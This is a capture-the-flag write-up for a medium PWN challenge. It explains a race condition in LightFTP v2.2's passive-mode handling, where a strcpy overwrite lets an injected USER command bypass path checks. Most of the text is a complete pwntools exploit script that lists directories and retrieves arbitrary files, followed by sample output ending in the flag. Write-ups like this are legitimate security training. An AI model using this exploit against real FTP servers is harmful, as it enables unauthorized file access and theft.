[CTF] WU - Exploit Hunt !
CTF InterCampus Ynov 2024
Difficulty Level : Medium
Challenge Category : PWN
Description :
Every fortress has a forgotten key.
PS : The response includes two numbers that seem to define a port, port forwarding rule = last digit + base port + 1
Solution Steps
Step 1: Understanding the Vulnerability
The vulnerability arises from:
- A race condition in LightFTP v2.2.
- A lack of proper synchronization in the passive mode connection handling.
- Use of insecure string handling functions (
strcpy
), which allows overwritingcontext->fileName
.
The exploit allows:
- Directory listing using the
LIST
command. - Arbitrary file retrieval using the
RETR
command with a craftedUSER
input.
Step 2: Exploit Strategy
-
Establish an FTP connection:
- Authenticate using the
USER
andPASS
commands. - Enter passive mode using the
PASV
command to get the host port for data transfer.
- Authenticate using the
-
Directory Listing:
- Send the
LIST
command to fetch directory contents. - Inject the
USER
command to bypass path checks and list files.
- Send the
-
Retrieve Flag File:
- Use the
RETR
command to retrieve a specific file (e.g., the flag file). - Bypass path restrictions using the race condition exploit in
USER
.
- Use the
Step 3: Python Exploit Script
The provided script automates:
- Connecting to the vulnerable server.
- Listing directories.
- Retrieving the flag using the race condition.
from pwn import *
import re
import sys
def calculate_passive_port(base_port, passive_port):
"""
Calculate the host port for passive mode connection based on the rule:
- Take the last two digits of the passive port.
- Add 1.
- Add this result to the initial port (base_port).
"""
last_two_digits = passive_port % 100 # Extract the last two digits
return base_port + last_two_digits + 1
def init(p, base_port):
try:
p.recvuntil(b"220")
p.sendline(b"USER anonymous")
p.recvuntil(b"331")
p.sendline(b"PASS anonymous")
p.recvuntil(b"230")
p.sendline(b"PASV")
p.recvline()
result = p.recvline().rstrip(b"\r\n")
print("PASV Response:", result)
parts = [int(s) for s in re.findall(r'\b\d+\b', result.decode())]
passive_port = parts[-2] * 256 + parts[-1]
host_port = calculate_passive_port(base_port, passive_port)
print(f"Mapped Host Port: {host_port}")
return host_port
except Exception as e:
print("Error during init: ", str(e))
return None
def read(ip, port):
try:
p_data = remote(ip, port, level='debug')
print(p_data.recvall(timeout=2))
p_data.close()
except Exception as e:
print("Error during data connection: ", str(e))
def main():
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <IP> <PORT>")
return
ip = sys.argv[1]
base_port = int(sys.argv[2])
action = input("Do you want to list directories or get the flag? (list/flag): ").strip().lower()
if action == "list":
try:
p = remote(ip, base_port, level='debug')
p.newline = b'\r\n'
data_port = init(p, base_port)
if data_port:
p.sendline(b"LIST ")
p.sendline(b"USER /")
p.recvline()
read(ip, data_port)
p.recvline()
p.recvline()
else:
print("Failed to initialize the connection properly.")
except Exception as e:
print("Error during main connection: ", str(e))
finally:
p.close()
elif action == "flag":
flag_name = input("Enter the flag name: ").strip()
try:
p = remote(ip, base_port, level='debug')
p.newline = b'\r\n'
data_port = init(p, base_port)
if data_port:
p.sendline(b"RETR hello.txt")
p.sendline(f"USER /{flag_name}".encode())
p.recvline()
read(ip, data_port)
p.recvline()
p.recvline()
else:
print("Failed to initialize the connection properly.")
except Exception as e:
print("Error during main connection: ", str(e))
finally:
p.close()
else:
print("Invalid action. Please enter 'list' or 'flag'.")
if __name__ == "__main__":
main()
Step 4: Exploitation
Command to List Directories
python exploit.py <TARGET_IP> <BASE_PORT>
Do you want to list directories or get the flag? (list/flag): list
Output:
[+] Opening connection to chall01.oxyhack.com on port 32779: Done
[DEBUG] Received 0x1b bytes: b'220 LightFTP server ready\r\n'
...
[+] Receiving all data: Done (1018B)
[DEBUG] Received directory contents:
drwxr-xr-x 2 0 0 4096 Nov 21 12:07 server
-rw-r--r-- 1 0 0 29 Nov 21 11:54 flag.<unique-id>
Command to Retrieve Flag
python exploit.py <TARGET_IP> <BASE_PORT>
Do you want to list directories or get the flag? (list/flag): flag
Enter the flag name: flag.<unique-id>
Output:
[+] Receiving all data: Done (29B)
[DEBUG] Received flag:
YNOV{RaCe_DaT_FlAg_&_StRcPy}